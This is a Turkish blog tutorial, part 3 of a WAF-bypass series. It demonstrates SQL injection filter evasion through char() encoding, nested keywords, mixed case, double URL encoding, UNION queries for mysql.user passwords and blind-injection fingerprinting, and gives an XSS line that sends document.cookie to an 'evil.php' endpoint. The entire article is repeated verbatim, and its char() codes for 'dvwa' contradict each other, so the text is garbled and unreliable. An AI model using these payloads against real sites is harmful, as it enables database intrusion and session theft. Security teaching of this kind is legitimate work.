Web Application Firewall(WAF)’ları Bypasslamak -3
Öncelikle merhaba arkadaşlar WAF Bypass serimizin 3 yazısıyla karşınızdayım. Uzatmadan hemen devam ediyorum. İlk konumuz SQL İnjection ile WAF bypasslamak.
SQL injection ile WAF bypasslamak
‘ uni<on sel<ect password from mySQL.user limit 1 /*
Daha öncede gördüğümüz gibi waf filtresi mevcut. Ancak waf tarafından engellenen bir karakteri tanımlarsak onu avantaj olarak kullanabiliriz.
Mysql veritabanlarında char()’ın işlevi ingilizce karakter değişkenlerini değiştirmek için kullanılır. Örneğin DVWA’dan yararlanara kullanabileceğimiz bir örneği ele alalım.
‘ UNION select table_schema,table_name FROM information_Schema.tables where table_schema = “dvwa” -
Karakter kodlamalı olan bu metin şöyle encode edilir;
‘ UNION select table_schema,table_name FROM information_Schema.tables where table_schema =char(100,118,119,97) -
Bunlarda gördüğünüz gibi ‘dvwa’yı içinde ASCII kodlarını kullanan MySql, char() işlevi olan char(100,112,119,97) ile değiştirdik ve birçok kez filtrelenen veriyi tırnak kullanmadan veritabanına enjekte ettik. Waf’lar char() ile aynı zamanda hemen hemen tüm diğer veritabanlarında olduğu gibi çalışır durumda. Ancak bazen bir seferde yanlızca karakterler tutulabilir, Örnek olarak char(0x##)+char(0x##)+… yani tek yol bizim için işe yaramazsa başkalarını denemek.
Neler yaptık : dvwa örneği üzerinden ‘dwva’ yazısını encode ettik çünkü tırnak işareti yasaklı karakterdi. Böylece ilk bypass’ımızı gerçekleştirdik.
Parçalanmış karakter şifrelemesi
Bu tür şifrelemeler istediğimiz gibi bir dizi isteği bir dizi parça veya parçalar halinde göndermekten ibaret. Bu yol, kötü amaçlı yani “bad request” leri birçok HTTP requesti üzerinden bölmemize yardımcı olur. Ve böylece WAF kötü amaçlı isteği engelleyemez. Bu, Content-Length header’ı yerine Transfer-Encoding yani şifrelenmiş transfer olarak HTTP başlığı kullanarak yapılabilir. Transfer başlığı bir HTTP isteğinde şu resimdeki gibi kullanılır;
(Bunu uygulamalı olarak gösterebileceğim ortam olmadığı için örnek bırakamadım)
Anahtar Kelime Değiştirme
Çoğu zaman anahter kelime yani keyler engellendiğine dair örnekler Sorgudan geçtikten sonra filtrelenme aşamasına gelir ve ardından da ortadaki key sözcüğü silecek şekilde baştan ve sondan gelen verileri birleştirir. Ve sunucuda yeni yürütülecek bir key oluşturur. Katman mantığı ile çalışırlar. İzahı zor bir konudur. Ancak elimden geldiğince anlaşılır şekilde anlatacağım. Sql örneğimiz üzerinden devam edelim.
‘ union selselectect password from mySQL.user limit 1 /*
Şu anda WAF in select anahtar kelimesini engellediğine dair örnek bir sorgu inceliyoruz. Sorgu isteği kabul edilip, ardından filtrelendikten sonra ortadaki select keywords ü silinecek ve yeni bir select keywords oluşturacaktır.
Dizelerde birleştirme ile SQL anahtar kelimeyi bölebilir ve WAF filtre kurallarını atlayabiliriz. Birleştirme sözdizimi, veritabanı motoruna göre değişebilir. Örneğin bir MsSQL veritanabanında 1'i seç komutu birleştirme kullanılarak değişebilir.
Yazdığım örneklerdeki gibi, WAF’ları atlamanın etkili yollarından biridir.
Çoğu zaman WAF ların kullandığı filtrelerin büyük / küçük harflere duyarlı anahtar sözcükleri varsa, WAF filtreleri, sağlanan bir sorgudan kötü amaçlı bir anahtar kelimeyi filtreleyemez. Örnek olarak veritananına select büyük ve küçük harfleri engelleyebiliyorsa, ancak yanlızca bu kontrolleri yapıyorsa SeLeCt gibi bir şeyin sağlanmasını engellenmeyecek ve WAF’ı bypass edecektir. Bu XSS saldırıları içinde geçerlidir, ve şu şekilde kullanılabilir.
var adr = ‘../evil.php?cakemonster=’ + escape(document.cookie);
Bu bölümün başında da söylediğim gibi, kodumuz hedefine ulaşasaya kadar var olabilecel birçok katman vardır. Şimdiye kadar, dizeleri kodlamanın tek yollarını inceledik. Ancak zincir şeklinde birçok WAF ve birçok kod yazmamız gerekecek.
Şimdi ise web sunucusundaki URL kodunun çözdüğü, ancak WAF ların ayrıca güvenlik amacıyla URL kod encode ettii bir senaryoyu ele alalım. Bu seferki SQL örneğimiz şu kod;
%2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25 2F*
Bu dize kodunda URL encode örneğimizdeki ile aynı ancak aynı şekilde bir kez daha kodlanmıştır. Bu durumda waf bu dizenin kodunu çözdüğünde hala kodlandığı ve kötü amaçlı kodu bulamadığı için onu engelleyemez. Web sunucusu aşamasında, dize tekrar çözülecek ve doğru şekilde çalışacaktır. Kısaca Bypass kodumuz işlevini yerine getirecektir.
WAF’ı SQL İnjection ile Atlama
Şimdiye kadar, örneklerimizin çoğu WAF Bypassing için SQL sorguları kullanıyordu. Bunun nedeni, WAF atlamada kullanılan en yaygın saldırının SQL Enjeksiyonu olmasıdır. Ama SQL’in kendisiyle başlayalım. SQL (Yapılandırılmış Sorgu Dili’nin kısaltması), veritabanlarının tasarımında ve yönetiminde kullanılan bir sorgu dilidir. Bugün kullanılan ürünlerin çoğu, SQL Server, MySQL ve diğerleri gibi ilişkisel veritabanlarıdır. Veritabanları, satırları ve sütunları olan tablo benzeri bir yapıda depolanan verilere sahiptir.
Bu seride birçok kez görmüş olabileceğiniz sorgular, select deyiminin kullanılmasıyla, istemcinin çağrısında veritabanından veri alan dizelerdir. Select dışında, çoğunlukla SQL Injection’da kullanılan diğer bazı ifadeler vardır ve bunlar şunlardır:
* INSERT İfadesi: INSERT deyimi, bir tablo içinde yeni bir veri satırı oluşturmak için kullanılır. Genellikle bir uygulama bir denetim günlüğüne yeni bir giriş eklediğinde, yeni bir kullanıcı hesabı oluşturduğunda veya yeni bir sipariş oluşturduğunda kullanılır.
* UPDATE İfadesi: UPDATE deyimi, bir tablodaki bir veya daha fazla veri satırını değiştirmek için kullanılır. Genellikle bir kullanıcının veritabanında zaten var olan verilerin değerini değiştirdiği işlevlerde kullanılır.
* DELETE İfadesi: DELETE deyimi, bir veritabanı tablosundaki bir veya daha fazla veri satırını silmek için kullanılır.
SQL enjeksiyon saldırılarında yaygın olarak kullanılan bir ortak özellik daha vardır: UNION operatörü. İki veya daha fazla SELECT ifadesinin sonuçlarını tek bir sonuçta birleştirmek için kullanılır. Dolayısıyla, bir istemci uygulaması sunucudan bazı verileri almak için bir sorgu yaptığında, UNION operatörü başka bir SELECT ifadesi eklemek ve veritabanında her iki seçme ifadesinin yürütülmesini sağlamak için kullanılabilir. Örneğin şu sorguyu ele alalım:
SELECT * FROM users WHERE fname=’Tom’
Burada sorgu, fname alanı Tom’a eşit olan tablo kullanıcılarından tüm kayıtları döndürmek için çağrılır. (* Karakteri SQL’de bir joker karakterdir ve bir tablodaki tüm sütunları seçer) Şimdi, bu sorguda UNION operatörünün kullanımı oldukça basittir:
SELECT * FROM users WHERE fname=’Tom’ UNION SELECT password FROM users -’
Burada sorgu, daha önce yaptığı her şeyi yapar ve sonuçlara kullanıcılar tablosundaki parolalar satırının kayıtlarını ekler. Dolayısıyla, bu UNION işlecini, veritabanına zaten bir sorgu sağlayan savunmasız bir web uygulamasında tedarik ederek, bu “denkleme” seçtiğimiz sorguyu ekleyeceğini anlayabilirsiniz. Şimdi SQL Enjeksiyonunun tam olarak ne olduğunu ve bunu WAF Bypassing’de nasıl kullanabileceğimizi görelim.
SQL Enjeksiyonu, saldırganın veri çıkarma amacıyla veritabanına kötü amaçlı hazırlanmış bir sorgu sağladığı bir kod enjeksiyon saldırısıdır. Eskilerden biri olmasına rağmen, gerçekten yaygın bir güvenlik açığıdır. Bu güvenlik açığının nasıl çalıştığını görmek için, bir web sitesinde bir ad verdiğimiz ve ilgili adla ilgili bilgi verdiğimiz bir arama alanı düşünün. Veritabanı aşağıdaki sorguyu yürütür:
SELECT * FROM users WHERE name=’tom’;
Bu veritabanı savunmasızsa ve bir ‘hata verirsek, sorguda aşağıdaki sonuçlara sahip olacağız:
SELECT * FROM users WHERE name=’’’;
Bu durumda örnek bir saldırı şöyle olacaktır:
SELECT * FROM users WHERE name = ‘tom’ OR ‘1’=’1' — ‘;
Burada tom ‘OR’ 1 ‘=’ 1 ‘sağladık-bu her zaman True olarak sonuçlanan mantıksal bir ifadeyle sonuçlandı, çünkü her seferinde 1 = 1 ve or operatörüyle, ikisinden yalnızca birine doğru olması için ihtiyacımız var kullanıcılar tablosundaki her şeyi döndürmek için sorgu. Çift tırnak eklenir, böylece onlardan sonraki her şey yorumlanır ve çalıştırılmaz.
Blind SQL Enjeksiyonu, en yaygın SQL enjeksiyon türüdür ve basit olandan farkı, bu tip enjeksiyonun sonuçlarının saldırgan tarafından görülmemesidir. Sayfa, sonuçları önceki örnekteki gibi göstermeyecek, ancak bunları enjeksiyonumuzdan oluşacak mantıksal ifade sonuçlarına bağlı olarak gösterecektir. Bu, birçok şeyi tek tek test etmek için zamana ihtiyaç duyduğu ve çoğu başarısız istekler olacağı için yararlanılması zor bir güvenlik açığı. İsim arama alanı ile önceki örneği ele alalım. Sızma testinde en yaygın olan böyle bir durumda sorgu tamamen sunucuda gerçekleşir; veritabanının, tablonun veya alanların adlarını veya sorgu dizesini bilmiyoruz. Bu durumda, daha önce sağladığımız basit 1 = 1 bize hiçbir sonuç vermeyecek,
Bu sefer şuna benzer bir şey sağlamamız gerekiyor:
Gördüğünüz gibi, burada her iki Boole ifadesinin de doğru olması, tom’un veritabanındaki bir kayda eşit olması ve 1 = 1'in doğru olması gerekir ki bu her zaman olur. Bu bir sonuç döndürürse, Blind SQL Enjeksiyonuna karşı savunmasız olduğu anlamına gelir ve veritabanına parmak izi vermeye devam edebiliriz.
Nasıl devam edileceğine dair iyi bir örnek lazımsa o da karşımızda;
Tom’ AND substring(@@version, 1, 1)=5
Tırnak işareti bize alt “substring(@@version, 1, 1)=5” bölümüni ve MySQL sürümünün sürüm 5 olup olmadığını kontrol eder ( “= 5” kontrolüyle) ve eğer sürüm 5 çalışıyorsa sayfa yüklenecektir normalde çünkü SQL sorunsuz çalışacaktır. Ve bu blind sql enjeksiyonunun yoludur. Veritabanına, eğer doğruysa, sağladığımız dizenin ilk kısmına karşılık gelen sayfanın yükleneceğine dair sorgular sağlamalıyız.
Bu tür saldırılar, sqlmap gibi otomatik araçlar tarafından birçok kez test edilir, ancak dikkatli olun, çünkü bu tür araçlar gerçekten gürültülüdür ve test ettiğiniz veritabanında çok sayıda gereksiz rapor oluşmasına neden olabilir, kesinlikle istemediğiniz bir şeylerle karşılaşma ihtimaliniz çok yüksektir.
Son olarak, gördüğümüz MySQL parmak izi örneğinden sonra, veritabanına aşağıdaki sorguyu göndererek Oracle tabanlı bir veritabanını bulmanın ve parmak izini almanın benzer bir yolu daha var:
SELECT banner FROM v$version WHERE rownum=1
Bu gibi durumlarda, yalnızca veritabanı yazılımı hakkında bilgi almakla kalmaz, aynı zamanda sürümle ilgili ayrıntılar da döndürülür, bu nedenle belirli bir sürümü kontrol etmenin bir yolu yoktur, ancak sorguda sadece @@ sürümünü sağlayabiliriz. MySQL için. Temel veritabanı güncel değilse, bellek taşmaları gibi yeni saldırı vektörleri araştırılabilir ve uygulanabilir.Ayrıca, WAF filtre kurallarına ulaşan SQL işlevlerini eş anlamlıları ile değiştirerek, güvenlik açığından Blind-SQL Enjeksiyon yöntemiyle yararlanmak da mümkündür. Örneğin:
* substring() -> mid(), substr(), etc * ascii() -> hex(), bin(), etc
Şimdi SQL Injection ile WAF üzerinde filtre kuralı baypasının bazı örneklerini görelim.
Öncelikle merhaba arkadaşlar WAF Bypass serimizin 3 yazısıyla karşınızdayım. Uzatmadan hemen devam ediyorum. İlk konumuz SQL İnjection ile WAF bypasslamak.
SQL injection ile WAF bypasslamak
‘ uni<on sel<ect password from mySQL.user limit 1 /*
Daha öncede gördüğümüz gibi waf filtresi mevcut. Ancak waf tarafından engellenen bir karakteri tanımlarsak onu avantaj olarak kullanabiliriz.
Mysql veritabanlarında char()’ın işlevi ingilizce karakter değişkenlerini değiştirmek için kullanılır. Örneğin DVWA’dan yararlanara kullanabileceğimiz bir örneği ele alalım.
‘ UNION select table_schema,table_name FROM information_Schema.tables where table_schema = “dvwa” -
Karakter kodlamalı olan bu metin şöyle encode edilir;
‘ UNION select table_schema,table_name FROM information_Schema.tables where table_schema =char(100,118,119,97) -
Bunlarda gördüğünüz gibi ‘dvwa’yı içinde ASCII kodlarını kullanan MySql, char() işlevi olan char(100,112,119,97) ile değiştirdik ve birçok kez filtrelenen veriyi tırnak kullanmadan veritabanına enjekte ettik. Waf’lar char() ile aynı zamanda hemen hemen tüm diğer veritabanlarında olduğu gibi çalışır durumda. Ancak bazen bir seferde yanlızca karakterler tutulabilir, Örnek olarak char(0x##)+char(0x##)+… yani tek yol bizim için işe yaramazsa başkalarını denemek.
Neler yaptık : dvwa örneği üzerinden ‘dwva’ yazısını encode ettik çünkü tırnak işareti yasaklı karakterdi. Böylece ilk bypass’ımızı gerçekleştirdik.
Parçalanmış karakter şifrelemesi
Bu tür şifrelemeler istediğimiz gibi bir dizi isteği bir dizi parça veya parçalar halinde göndermekten ibaret. Bu yol, kötü amaçlı yani “bad request” leri birçok HTTP requesti üzerinden bölmemize yardımcı olur. Ve böylece WAF kötü amaçlı isteği engelleyemez. Bu, Content-Length header’ı yerine Transfer-Encoding yani şifrelenmiş transfer olarak HTTP başlığı kullanarak yapılabilir. Transfer başlığı bir HTTP isteğinde şu resimdeki gibi kullanılır;
(Bunu uygulamalı olarak gösterebileceğim ortam olmadığı için örnek bırakamadım)
Anahtar Kelime Değiştirme
Çoğu zaman anahter kelime yani keyler engellendiğine dair örnekler Sorgudan geçtikten sonra filtrelenme aşamasına gelir ve ardından da ortadaki key sözcüğü silecek şekilde baştan ve sondan gelen verileri birleştirir. Ve sunucuda yeni yürütülecek bir key oluşturur. Katman mantığı ile çalışırlar. İzahı zor bir konudur. Ancak elimden geldiğince anlaşılır şekilde anlatacağım. Sql örneğimiz üzerinden devam edelim.
‘ union selselectect password from mySQL.user limit 1 /*
Şu anda WAF in select anahtar kelimesini engellediğine dair örnek bir sorgu inceliyoruz. Sorgu isteği kabul edilip, ardından filtrelendikten sonra ortadaki select keywords ü silinecek ve yeni bir select keywords oluşturacaktır.
Dizelerde birleştirme ile SQL anahtar kelimeyi bölebilir ve WAF filtre kurallarını atlayabiliriz. Birleştirme sözdizimi, veritabanı motoruna göre değişebilir. Örneğin bir MsSQL veritanabanında 1'i seç komutu birleştirme kullanılarak değişebilir.
Yazdığım örneklerdeki gibi, WAF’ları atlamanın etkili yollarından biridir.
Çoğu zaman WAF ların kullandığı filtrelerin büyük / küçük harflere duyarlı anahtar sözcükleri varsa, WAF filtreleri, sağlanan bir sorgudan kötü amaçlı bir anahtar kelimeyi filtreleyemez. Örnek olarak veritananına select büyük ve küçük harfleri engelleyebiliyorsa, ancak yanlızca bu kontrolleri yapıyorsa SeLeCt gibi bir şeyin sağlanmasını engellenmeyecek ve WAF’ı bypass edecektir. Bu XSS saldırıları içinde geçerlidir, ve şu şekilde kullanılabilir.
var adr = ‘../evil.php?cakemonster=’ + escape(document.cookie);
Bu bölümün başında da söylediğim gibi, kodumuz hedefine ulaşasaya kadar var olabilecel birçok katman vardır. Şimdiye kadar, dizeleri kodlamanın tek yollarını inceledik. Ancak zincir şeklinde birçok WAF ve birçok kod yazmamız gerekecek.
Şimdi ise web sunucusundaki URL kodunun çözdüğü, ancak WAF ların ayrıca güvenlik amacıyla URL kod encode ettii bir senaryoyu ele alalım. Bu seferki SQL örneğimiz şu kod;
%2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25 2F*
Bu dize kodunda URL encode örneğimizdeki ile aynı ancak aynı şekilde bir kez daha kodlanmıştır. Bu durumda waf bu dizenin kodunu çözdüğünde hala kodlandığı ve kötü amaçlı kodu bulamadığı için onu engelleyemez. Web sunucusu aşamasında, dize tekrar çözülecek ve doğru şekilde çalışacaktır. Kısaca Bypass kodumuz işlevini yerine getirecektir.
WAF’ı SQL İnjection ile Atlama
Şimdiye kadar, örneklerimizin çoğu WAF Bypassing için SQL sorguları kullanıyordu. Bunun nedeni, WAF atlamada kullanılan en yaygın saldırının SQL Enjeksiyonu olmasıdır. Ama SQL’in kendisiyle başlayalım. SQL (Yapılandırılmış Sorgu Dili’nin kısaltması), veritabanlarının tasarımında ve yönetiminde kullanılan bir sorgu dilidir. Bugün kullanılan ürünlerin çoğu, SQL Server, MySQL ve diğerleri gibi ilişkisel veritabanlarıdır. Veritabanları, satırları ve sütunları olan tablo benzeri bir yapıda depolanan verilere sahiptir.
Bu seride birçok kez görmüş olabileceğiniz sorgular, select deyiminin kullanılmasıyla, istemcinin çağrısında veritabanından veri alan dizelerdir. Select dışında, çoğunlukla SQL Injection’da kullanılan diğer bazı ifadeler vardır ve bunlar şunlardır:
* INSERT İfadesi: INSERT deyimi, bir tablo içinde yeni bir veri satırı oluşturmak için kullanılır. Genellikle bir uygulama bir denetim günlüğüne yeni bir giriş eklediğinde, yeni bir kullanıcı hesabı oluşturduğunda veya yeni bir sipariş oluşturduğunda kullanılır.
* UPDATE İfadesi: UPDATE deyimi, bir tablodaki bir veya daha fazla veri satırını değiştirmek için kullanılır. Genellikle bir kullanıcının veritabanında zaten var olan verilerin değerini değiştirdiği işlevlerde kullanılır.
* DELETE İfadesi: DELETE deyimi, bir veritabanı tablosundaki bir veya daha fazla veri satırını silmek için kullanılır.
SQL enjeksiyon saldırılarında yaygın olarak kullanılan bir ortak özellik daha vardır: UNION operatörü. İki veya daha fazla SELECT ifadesinin sonuçlarını tek bir sonuçta birleştirmek için kullanılır. Dolayısıyla, bir istemci uygulaması sunucudan bazı verileri almak için bir sorgu yaptığında, UNION operatörü başka bir SELECT ifadesi eklemek ve veritabanında her iki seçme ifadesinin yürütülmesini sağlamak için kullanılabilir. Örneğin şu sorguyu ele alalım:
SELECT * FROM users WHERE fname=’Tom’
Burada sorgu, fname alanı Tom’a eşit olan tablo kullanıcılarından tüm kayıtları döndürmek için çağrılır. (* Karakteri SQL’de bir joker karakterdir ve bir tablodaki tüm sütunları seçer) Şimdi, bu sorguda UNION operatörünün kullanımı oldukça basittir:
SELECT * FROM users WHERE fname=’Tom’ UNION SELECT password FROM users -’
Burada sorgu, daha önce yaptığı her şeyi yapar ve sonuçlara kullanıcılar tablosundaki parolalar satırının kayıtlarını ekler. Dolayısıyla, bu UNION işlecini, veritabanına zaten bir sorgu sağlayan savunmasız bir web uygulamasında tedarik ederek, bu “denkleme” seçtiğimiz sorguyu ekleyeceğini anlayabilirsiniz. Şimdi SQL Enjeksiyonunun tam olarak ne olduğunu ve bunu WAF Bypassing’de nasıl kullanabileceğimizi görelim.
SQL Enjeksiyonu, saldırganın veri çıkarma amacıyla veritabanına kötü amaçlı hazırlanmış bir sorgu sağladığı bir kod enjeksiyon saldırısıdır. Eskilerden biri olmasına rağmen, gerçekten yaygın bir güvenlik açığıdır. Bu güvenlik açığının nasıl çalıştığını görmek için, bir web sitesinde bir ad verdiğimiz ve ilgili adla ilgili bilgi verdiğimiz bir arama alanı düşünün. Veritabanı aşağıdaki sorguyu yürütür:
SELECT * FROM users WHERE name=’tom’;
Bu veritabanı savunmasızsa ve bir ‘hata verirsek, sorguda aşağıdaki sonuçlara sahip olacağız:
SELECT * FROM users WHERE name=’’’;
Bu durumda örnek bir saldırı şöyle olacaktır:
SELECT * FROM users WHERE name = ‘tom’ OR ‘1’=’1' — ‘;
Burada tom ‘OR’ 1 ‘=’ 1 ‘sağladık-bu her zaman True olarak sonuçlanan mantıksal bir ifadeyle sonuçlandı, çünkü her seferinde 1 = 1 ve or operatörüyle, ikisinden yalnızca birine doğru olması için ihtiyacımız var kullanıcılar tablosundaki her şeyi döndürmek için sorgu. Çift tırnak eklenir, böylece onlardan sonraki her şey yorumlanır ve çalıştırılmaz.
Blind SQL Enjeksiyonu, en yaygın SQL enjeksiyon türüdür ve basit olandan farkı, bu tip enjeksiyonun sonuçlarının saldırgan tarafından görülmemesidir. Sayfa, sonuçları önceki örnekteki gibi göstermeyecek, ancak bunları enjeksiyonumuzdan oluşacak mantıksal ifade sonuçlarına bağlı olarak gösterecektir. Bu, birçok şeyi tek tek test etmek için zamana ihtiyaç duyduğu ve çoğu başarısız istekler olacağı için yararlanılması zor bir güvenlik açığı. İsim arama alanı ile önceki örneği ele alalım. Sızma testinde en yaygın olan böyle bir durumda sorgu tamamen sunucuda gerçekleşir; veritabanının, tablonun veya alanların adlarını veya sorgu dizesini bilmiyoruz. Bu durumda, daha önce sağladığımız basit 1 = 1 bize hiçbir sonuç vermeyecek,
Bu sefer şuna benzer bir şey sağlamamız gerekiyor:
Gördüğünüz gibi, burada her iki Boole ifadesinin de doğru olması, tom’un veritabanındaki bir kayda eşit olması ve 1 = 1'in doğru olması gerekir ki bu her zaman olur. Bu bir sonuç döndürürse, Blind SQL Enjeksiyonuna karşı savunmasız olduğu anlamına gelir ve veritabanına parmak izi vermeye devam edebiliriz.
Nasıl devam edileceğine dair iyi bir örnek lazımsa o da karşımızda;
Tom’ AND substring(@@version, 1, 1)=5
Tırnak işareti bize alt “substring(@@version, 1, 1)=5” bölümüni ve MySQL sürümünün sürüm 5 olup olmadığını kontrol eder ( “= 5” kontrolüyle) ve eğer sürüm 5 çalışıyorsa sayfa yüklenecektir normalde çünkü SQL sorunsuz çalışacaktır. Ve bu blind sql enjeksiyonunun yoludur. Veritabanına, eğer doğruysa, sağladığımız dizenin ilk kısmına karşılık gelen sayfanın yükleneceğine dair sorgular sağlamalıyız.
Bu tür saldırılar, sqlmap gibi otomatik araçlar tarafından birçok kez test edilir, ancak dikkatli olun, çünkü bu tür araçlar gerçekten gürültülüdür ve test ettiğiniz veritabanında çok sayıda gereksiz rapor oluşmasına neden olabilir, kesinlikle istemediğiniz bir şeylerle karşılaşma ihtimaliniz çok yüksektir.
Son olarak, gördüğümüz MySQL parmak izi örneğinden sonra, veritabanına aşağıdaki sorguyu göndererek Oracle tabanlı bir veritabanını bulmanın ve parmak izini almanın benzer bir yolu daha var:
SELECT banner FROM v$version WHERE rownum=1
Bu gibi durumlarda, yalnızca veritabanı yazılımı hakkında bilgi almakla kalmaz, aynı zamanda sürümle ilgili ayrıntılar da döndürülür, bu nedenle belirli bir sürümü kontrol etmenin bir yolu yoktur, ancak sorguda sadece @@ sürümünü sağlayabiliriz. MySQL için. Temel veritabanı güncel değilse, bellek taşmaları gibi yeni saldırı vektörleri araştırılabilir ve uygulanabilir.Ayrıca, WAF filtre kurallarına ulaşan SQL işlevlerini eş anlamlıları ile değiştirerek, güvenlik açığından Blind-SQL Enjeksiyon yöntemiyle yararlanmak da mümkündür. Örneğin:
* substring() -> mid(), substr(), etc * ascii() -> hex(), bin(), etc
Şimdi SQL Injection ile WAF üzerinde filtre kuralı baypasının bazı örneklerini görelim.
Bu içeriği görmek için giriş yapın.
